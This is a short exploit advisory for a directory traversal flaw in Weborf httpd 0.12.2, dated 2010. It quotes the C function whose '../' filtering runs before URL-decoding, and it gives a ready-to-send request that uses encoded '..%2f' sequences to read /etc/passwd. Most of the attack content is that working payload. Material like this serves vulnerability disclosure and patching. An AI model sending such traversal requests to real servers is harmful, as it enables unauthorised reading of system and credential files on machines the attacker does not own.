weborf 0.12.2 - Directory Traversal

Title: Weborf httpd <= 0.12.2 Directory Traversal Vulnerability
Date: Sep 6, 2010
Author:	Rew
Link: http://galileo.dmi.unict.it/wiki/weborf/doku.php
Version: 0.12.2
Tested On: Debian 5
CVE: N/A

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Weborf httpd <= 0.12.2 suffers a directory traversal
vulnerability.  This vulnerability could allow
attackers to read arbitrary files and hak th3 plan3t.

instance.c : line 240-244
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void modURL(char* url) {
    //Prevents the use of .. to access the whole filesystem  <-- ORLY?
    strReplace(url,"../",'\0');

    replaceEscape(url);
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Exploit: GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

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